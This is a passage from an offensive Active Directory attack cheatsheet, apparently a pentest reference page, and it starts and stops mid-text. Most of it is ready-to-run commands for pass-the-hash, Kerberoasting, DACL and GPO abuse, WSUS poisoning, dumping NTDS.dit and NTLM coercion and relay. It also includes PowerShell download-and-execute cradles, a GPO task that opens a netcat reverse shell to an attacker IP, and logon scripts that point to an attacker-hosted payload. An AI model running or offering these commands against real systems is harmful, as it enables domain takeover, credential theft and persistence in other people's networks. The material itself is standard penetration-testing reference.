'domain.local/user1:CHALLENGE@target.domain.local' #Copy paste the challenge to PassTheChallenge.exe and retrieve the response ./PassTheChallenge.exe challenge : #Paste the response to the Impacket prompt (possible that multiple response are needed) Pass The Hash Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm: /run:powershell.exe"' Over Pass The Hash / Pass The Key Generate Kerberos TGT from hashes (or AES keys) #With Mimikat Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4: /run:powershell.exe"' Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256: /run:powershell.exe"' #With Rubeus .\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4: /ptt /opsec .\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256: /ptt /opsec Bypass Kerberos Double Hop By default, Kerberos doesn't permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever) This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-Hash from a PSSession $Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http:///Invoke-HelloWorld.ps1'))" Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm: /run:.\reverse.bat"' In the new shell it is not possible to run an Enter-PSSession, but it is possible to create a New-PSSession and run Invoke-Command into this new session $sess = New-PSSession Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess Invoke-Command -ScriptBlock{mkdir /tmp; iwr http:///Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess Token manipulation Standard token impersonation It is possible to use/impersonate tokens available on a machine We can use Invoke-TokenManipulation from PowerSploit or Incognito (Meterpreter) for token impersonation Administrative privileges are required to adjust token privileges List all tokens #List all tokens on the machine Invoke-TokenManipulation -ShowAll #List all unique, usable tokens on the machine Invoke-TokenManipulation -Enumerate Start a new process with a specific token #Token of a user Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1" #Token of a process Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500 Token impersonation with command execution and user addition Blog here. List available tokens, and find an interesting token ID ./Impersonate.exe list With only SeImpersonatePrivilege, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default): ./Impersonate.exe adduser user1 Password123 \\dc.domain.local With SeImpersonatePrivilege and SeAssignPrimaryToken, if a privileged user's token is presents on the machine, it is possible to execute comands on the machine as him: ./Impersonate.exe exec The same tool exists in Rust (not totally the same, the logic is a little bit different, looks at the README) #List all the process and their token ./irs.exe list #Execute a command with the token from a process ./irs.exe exec --pid --command Token impersonation via session leaking Blog here. Basically, as long as a token is linked to a logon session (the ReferenceCount != 0), the logon session can't be closed, even if the user has logged off.AcquireCredentialsHandle() is used with a session LUID to increase the ReferenceCount and block the session release. Then InitializeSecurityContext() and AcceptSecurityContext() are used to negotiate a new security context, and QuerySecurityContextToken() get an usable token. Server part #List logon session Koh.exe list #Monitor logon session with SID filtering Koh.exe monitor #Capture one token per SID found in new logon sessions Koh.exe capture Client part (only available as Cobalt Strike BOF for the moment) #List captured tokens koh list #List group SIDs for a captured token koh groups #Impersonate a captured token by specifying the session LUID koh impersonate #Release all captured tokens koh release all Tokens and ADCS With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users. .\Masky.exe /ca: /template: /output:./output.txt ADIDNS poisoning How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us By default, any user can create new ADIDNS records But it is not possible to change or delete a record we are not owning By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it. Wildcard attack with Powermad The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what Powermad do: # get the value populated in the DNSRecord attribute of a node Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec # creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP # enable a tombstoned record Enable-ADIDNSNode -Node * # disable a node Disable-ADIDNSNode -Node * # remove a node Remove-ADIDNSNode -Node * # check the wildcard record works/resolve a name Resolve-DnsName NameThatDoesntExist DNS update with Invoke-DNSUpdate To work with "classic" record, i.e. not wildcard record Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData -Realm domain.local Feature abuse Jenkins Go to http:///script def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" Without admin access : add a build step in the build configuration, add "Execute Windows Batch Command" and powershell –c powershell -c "iex (new-object system.net.webclient).downloadstring('http:///Invoke-HelloWorld.ps1')" #For more hardened policy #On Kali echo "iex (new-object system.net.webclient).downloadstring('http:///Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 #In Jenkins cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc SCCM / MECM - PXE boot Check the dedicated page. WSUS Push an evil update on the computers : SharpWSUS explains #Locate the WSUS server ./SharpWSUS locate #Find a way to compromise it #Enumerate the contents of the WSUS server to determine which machines to target ./SharpWSUS.exe inspect #Create a malicious patch with a Microsoft signed binary (mandatory) ./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS" #Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment ./SharpWSUS.exe approve /updateid: /computername: /groupname:"Evil Group" #Wait for the client to download the patch, not possible to control ./SharpWSUS.exe check /updateid: /computername: #Clean up after the patch is downloaded. ./SharpWSUS.exe delete /updateid: /computername: /groupname:"Evil Group" Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS #Find the WSUS server with the REG key reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver #Setup the fake WSUS server python3.exe pywsus.py --host --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"' And ARP spoofing with bettercap and a wsus_spoofing.cap like this: # quick recon of the network net.probe on # set the ARP spoofing set arp.spoof.targets $client_ip set arp.spoof.internal false set arp.spoof.fullduplex false # reroute traffic aimed at the WSUS server set any.proxy.iface $interface set any.proxy.protocol TCP set any.proxy.src_address $WSUS_server_ip set any.proxy.src_port 8530 set any.proxy.dst_address $attacker_ip set any.proxy.dst_port 8530 # control logging and verbosity events.ignore endpoint events.ignore net.sniff # start the modules any.proxy on arp.spoof on net.sniff on bettercap --iface --caplet wsus_spoofing.cap Now wait for update verification or manually trigger with a GUI access on the machine. Another attack presented in the AD-CS cheatsheet permits to perform an ESC8 from a WSUS poisoning. Pre-Windows 2000 Computers Everything is explained here. Domain Privesc Kerberoast Find users with SPN #PowerView Get-NetUser -SPN #ActiveDirectory module Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName Request ST Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/.domain.local" Or Request-SPNTicket with PowerView Export the ticket Invoke-Mimikatz -Command '"kerberos::list /export"' Crack the ticket Many options but this one works (also john, hashcat, etc...) python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi Rubeus Rubeus can be used to perform all the attack, with more or less opsec #Kerberoast all the kerberoastable accounts .\Rubeus.exe kerberoast #Kerberoast a specified account .\Rubeus.exe kerberoast /user: /outfile:ticket.kirbi #Kerberoast with RC4 downgrade even if the targets are AES enabled #Tickets are easier to crack .\Rubeus.exe kerberoast /tgtdeleg #Kerberoast with opsec tgtdeleg trick filtering AES accounts .\Rubeus.exe kerberoast /rc4opsec Kerberoast with DES DES can be enabled in the following GPO Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security on the Domain Controller, on in the following registry key : HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes. DES can be use to takeover any account except krbtgt and trust accounts. Full explains here. Check if DES is enabled ./Rubeus.exe asktgt /user:user1 /password:Password123 /domain:domain.local /dc:dc.domain.local /suppenctype:des /nowrap #To check in the UAC of an account Get-DomainUser user1 -Domain domain.local -Server dc.domain.local | select useraccountcontrol,serviceprincipalname Request a ST for the target SPN ./Rubeus.exe asktgs /ticket:TGT.kirbi /service: /enctype:des /dc:dc.domain.local /nowrap Perform a U2U request. The goal is to obtain a ticket for the user than can be decrypted to read the first block of plain text. This block will be used after to form a crackable hash. Retrieve the value of "Block One Plain Text" in the output ./Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /nowrap Then, reuse this value in the /desplaintext parameter with the describe command ./Rubeus.exe describe /desplaintext: /ticket: The Kerberoast Hash value in the output can be used with hashcat: hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 The obtained DES key can now be used to ask for a TGT for the target account. To exploit this against a Domain Controller, the DC account UAC must be changed from SERVER_TRUST_ACCOUNT (8192) needs to be changed to WORKSTATION_TRUST_ACCOUNT (4096) (Owner or Write access against the DC account are needed). This attack can be destructive. It is not recommanded to perform it in production. Additionally, DES must be activated in the UAC. Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288} Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=2097152} Then, the attack can be performed as presented above. To rollback to SERVER_TRUST_ACCOUNT an admin account is needed. First escalate to DA, then: Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288} Kerberoast w/o creds Without pre-authentication If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here. .\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"user_w/o_preauth" /spn:users.txt With MitM If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast. WARNING : RoastInTheMiddle.exe is only a PoC for the moment, be carefull with it in prod environment ! ./RoastInTheMiddle.exe /listenip: /spns:users.txt /targets:, /dcs:, Combined with DES Here are the steps to follow to perform the attack, as described by Charlie Clark. Request a valid TGT for User1. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block. Man-in-the-Middle (MitM) is performed. AS-REQ for Computer1 is captured. AS-REQ modified to only include the DES-CBC-MD5 etype. Forward AS-REQ to a DC that supports DES. Extract TGT for Computer1 from AS-REP. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key. Create KERB_CRED from Computer1’s TGT and known information, missing the session key. Crack the DES hash back to the TGT session key. Insert the TGT session key into the KERB_CRED. Use the TGT to authenticate as Computer1. For the moment, this version of RoastIntheMiddle doesn't seem available. ./RoastInTheMiddle.exe sessionroast /listenip: /targets:, /dcs:, /tgt: The "Hash DES session key" can be cracked with hashcat: hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 And the crack result (which is the DES session key) with the "Kirbi missing session key" can be combined to build a valid TGT: ./Rubeus.exe kirbi /sessionkey: /sessionetype:des /kirbi: /nowrap AS-REP Roasting Enumerate users #UPowerView: Get-DomainUser -PreauthNotRequired -Verbose #AD module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth Request AS-REP hash .\Rubeus.exe asreproast /user: /domain:domain.local /format:hashcat #To enumerate AS-REP roastable users through LDAP .\Rubeus.exe asreproast /creduser:"domain.local\user1" /credpassword:"password" /domain:domain.local /format:hashcat It is possible to force DES, if it is allowed: .\Rubeus.exe asreproast /user: /domain:domain.local /des /format:hashcat Disable Kerberos Preauth With PowerView, with enough privileges it is possible to perform targeted AS-REP roasting. Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose Get-DomainUser -PreauthNotRequired -Verbose Crack the hash With john or hashcat it could be performed. In case of DES hash, here is the command: hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 Hijacking GPP Name-Only sAMAccountName hijacking The theory behind this attack is explained in this article. Initial configuration: A user priv_usr has GenericWrite rights over another user low_priv. A GPP is configured to add a "Name-Only" member named nonexistentuser to the local Administrators group. First GPO application: The system try to resolve nonexistentuser, but fails (the user doesn't exist). No member is added to Administrators. sAMAccountName modification: The attacker uses their GenericWrite rights to change the sAMAccountName from low_priv to nonexistentuser. bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser" GPO replication: The next time the GPO is applied (or via a manual command such as gpupdate /force), the system resolves nonexistentuser to the SID of low_priv. Result: low_priv is added to the Administrators group. UPN hijacking Initial configuration: A GPP is configured to add a "Name-Only" member in UPN format: existingusr@domain.local. A user named existingusr already exists in the domain with this UPN. sAMAccountName modification: The attacker changes the sAMAccountName of low_priv to match the UPN exactly: existingusr@domain.local(this format is permitted for a UPN). bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local" GPO replication: During resolution, LsaLookupNames first searches for an exact match in the sAMAccountName field, before the UPN. Result: low_priv is added to the Administrators group instead of existingusr. GPP processus variables A GPP is linked to an OU containing the WS computer and adds %DomainName%\%ComputerName%_adm (i.e. DOMAIN\WS_adm) to the Administrators group. The attacker checks that WS_adm does not exist: bloodyAD --host -u "priv_usr" -p password get object "WS_adm" The attacker changes the sAMAccountName of low_priv to match WS_adm: bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm" Result: The next time GPP is applied, low_priv is added to the Administrators group on the WS machine. DACLs attacks DACLs packages Owns object WriteDacl GenericAll GenericWrite AllExtendedRights WriteOwner GenericWrite Self WriteProperty AllExtendedRights User-Force-Change-Password DS-Replication-Get-Changes DS-Replication-Get-Changes-All DS-Replication-Get-Changes-In-Filtered-Set On any objects WriteOwner With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it Set-DomainObjectOwner -Identity -OwnerIdentity user1 -verbose Add-ObjectAcl -TargetIdentity -PrincipalIdentity user1 -Rights ResetPassword #And change the password $cred = ConvertTo-SecureString "Password123!" -AsPlainText -force Set-DomainUserPassword -Identity -accountpassword $cred WriteDacl With this rights we can modify our ACLs against the target, and give us GenericAll for example Add-ObjectAcl -TargetIdentity -PrincipalIdentity user1 -Rights All In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1) $Guids = Get-DomainGUIDMap $AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid $OU = Get-DomainOU -Raw $dsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() On an user WriteProperty ShadowCredentials Whisker.exe add /target: /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:"Password123!" Logon Script #PowerView Set-DomainObject -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose #AD module Set-ADObject -SamAccountName '' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe" Targeted Kerberoasting We can then request a ST without special privileges. The ST can then be "Kerberoasted". #Verify if the user already has a SPN Get-DomainUser -Identity | select serviceprincipalname #Using ActiveDirectory module Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName New SPN must be unique in the domain #Set the SPN Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'} #Using ActiveDirectory module Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} #Request the ticket Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1" #From PowerView Request-SPNTicket User-Force-Change-Password With enough permissions on a user, we can change his password net user Password123! /domain #With PowerView $pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass) Set-DomainUserPassword "" -AccountPassword $UserPassword -Credential $cred On a computer WriteProperty ShadowCredentials Whisker.exe add /target: /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:Password123! Kerberos RBCD AllExtendedRights ReadLAPSPassword # With PowerView Get-DomainComputer .domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime ReadGMSAPassword ./GMSAPasswordReader.exe --accountname gmsaAccount On a RODC GenericWrite Obtain local admin access Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights. Retrieve Tiers 0 account's NT hashes It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD. #Add a domain admin account to the msDS-RevealOnDemandGroup attribute Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} #If needed, remove the admin from the msDS-NeverRevealGroup attribute Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup' WriteProperty WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket. #Add a domain admin account to the msDS-RevealOnDemandGroup attribute Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} #If needed, remove the admin from the msDS-NeverRevealGroup attribute Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup' On a group WriteProperty/AllExtendedRights/GenericWrite Self With one of this rights we can add a new member to the group net group user1 /add # With PowerView Add-DomainGroupMember -Identity '' -Members 'user1' On a GPO WriteProperty on a GPO We can create an "evil" GPO with a scheduled task for example #With PowerView New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators user1 /add" #With SharpGPOAbuse ./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO" CreateChild on Policies Cn + WriteProperty on an OU It is possible to create a fully new GPO and link it to an existing OU #With RSAT module New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local" Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString After GPO refresh on the OU's machines, when the machines will restart the payload will be executed Manage Group Policy Links This section is presented in the Active Directory - Python edition cheatsheet. On an OU GenericWrite With at least GenericWrite on an OU, it it possible to perform the same attacks presented in the GPO section with Manage Group Policy Links. Create msDS-DelegatedManagedServiceAccount or Create all child objects This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts). # With BadSuccessor.ps1 BadSuccessor -mode check -Domain domain.local BadSuccessor -mode exploit -Path -Name "dMSA_name" -DelegatedAdmin "user1" -DelegateTarget "Administrator" -domain "domain.local" # With SharpSuccessor .\SharpSuccessor.exe add /impersonate:Administrator /path: /account:user1 /name:"dMSA_name" # Obtain a TGT # Request a TGT as the current user context, in this case user1 .\Rubeus.exe tgtdeleg /nowrap # Then use that TGT to impersonate the dMSA account .\Rubeus.exe asktgs /targetuser:dMSA_name$ /service:krbtgt/domain.local /opsec /dmsa /nowrap /ptt /ticket: /outfile:ticket.kirbi # Then either request a ST for a desired service as our targeted user (Administrator in that case) .\Rubeus.exe asktgs /user:dMSA_name$ /service:cifs/DC.domain.local /opsec /dmsa /nowrap /ptt /ticket: On the domain/forest DS-Replication-Get-Changes + DS-Replication-Get-Changes-All We can DCSync DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set It is possible to realize a DirSync attack, as presented here. Import-Module ./DirSync.psm1 #Sync all the LAPS passwords in the domain Sync-LAPS #Sync a specific LAPS password Sync-LAPS -LDAPFilter '(samaccountname=)' #Sync confidential attributs Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description Account Operators The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC. Another possibility, is to configure an AORTA attack, presented in this section. Add user to LAPS groups Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local" Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local" Read LAPS password Get-DomainComputer -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime DnsAdmins It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). In case the DC also serves as DNS, this will provide us escalation to DA. Need privileges to restart the DNS service. Configure the DLL Needs RSAT DNS #With dnscmd.exe dnscmd /config /serverlevelplugindll \\\dll\mimilib.dll #With DNSServer module $dnsettings = Get-DnsServerSetting -ComputerName -Verbose -All $dnsettings.ServerLevelPluginDll = "\\\dll\mimilib.dll" Set-DnsServerSetting -InputObject $dnsettings -ComputerName -Verbose Restart DNS sc \\ stop dns sc \\ start dns Schema Admins These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present. Change ACLs on the groups Give full rights to a user on the groups $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential $creds When a new group is created we can add any user to it with the user who has full rights $User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server dc.domain.local -Credential $creds Backup Operators Can generally log in on any machines of the domain. File system backup Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup To backup a folder : robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E To backup with Diskshadow + Robocopy: Create a script.txt file to backup with Diskshadow set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX Backup with diskshadow /s script.txt Retrieve the backup with robocopy and send the NTDS file in the current folder : robocopy /b E:\Windows\ntds . ntds.dit Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system c:\temp\system To backup with Diskshadow + DLLs: Similar script for Diskshadow set context persistent nowritersx set metadata c:\windows\system32\spool\drivers\color\example.cabx add volume c: alias someAliasx createx expose %someAlias% z:x exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx delete shadows volume %someAlias%x resetx With these DLLs Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite reg save HKLM\SYSTEM c:\temp\system.hive Registry read rights The Backup Operators can read all the machines registry python3 reg.py 'domain.local'/'user1':'Password123'@.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Backup the SAM, SECURITY and SYSTEM registry keys reg.py -dc-ip 'domain.local'/'user1':'Password123'@server.domain.local backup -o \\\share GPOs read/write rights Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the Domain Controller policy Get the file at the path \\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add whatever you want in it Write the file with robocopy: robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB Key Admins Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers. AD Recycle Bin Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties. Enumerate deleted objects To find all the deleted objects and their properties: Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property * To focus on one object: Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property * To find the last deleted object: Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects Restore an object Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject Authentication capture, coerce and relay Capture, coerce and leak Different ways to obtain and catch NTLM authentications and retrieve a NTLM response. Responder / Inveigh Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used. sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc): # Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose responder -I interface_to_use -wPdDv # Inveigh with * Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine): # --disable-ess will disable the SSP, not always usefull responder -I interface_to_use -wdDv --lm --disable-ess NTLMv1 response can be cracked on crash.sh (we miss you guy). Leak Files With write rights on a SMB share, it is possible to drop a .scf file with the following content to grab some user hashes: [Shell] Command=2 IconFile=\\share\pentestlab.ico [Taskbar] Command=ToggleDesktop MITM6 (Python tool) Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay: mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v Here for a Kerberos relay to ADCS: mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed. #PetitPotam ./PetitPotam.exe attacker_IP target_IP #PrinterBug ./SpoolSample.exe target_IP attacker_IP #ShadowCoerce python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP #DFSCoerce python3.exe dfscoerce.py -u user1 -d domain.local #CheeseOunce via MS-EVEN ./MS-EVEN.exe MSSQL Coerce MSSQL Analysis Services: everything is explained here. MSSQL Server : with xp_dirtree. PrivExchange Coerce Exchange server authentication via PushSubscription (now patched): python3.exe privexchange.py -ah attacker_IP -u user1 -p password -d domain.local WebClient Service If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay). Check if WebClient is running on machines: GetWebDAVStatus.exe 'machine_ip' #For multiple machines webclientservicescanner domain.local/user1:password@10.10.10.0/24 If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. The NETBIOS name can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS (Python tool). #Responder technique responder -I interface_to_use -A #ADIDNS technique New-ADIDNSNode -Tombstone -Verbose -Node "attacker.domain.local" -Data $IP #Coerce with PetitPotam for example ./PetitPotam.exe "attacker_NETBIOS@80/test.txt" Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned. #With Responder + smbserver #Start smbserver in a first terminal with authentication required python3 smbserver.py $NAME . -smb2support -username notexist -password notexist #Start Responder in a second terminal responder --interface interface_to_use #Or only with Responder responder --interface interface_to_use -E NTLM and Kerberos relay SMB without signing Create a list of computer without SMB signing: nxc smb 10.10.10.0/24 --gen-relay-list list.txt ntlmrelayx If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if 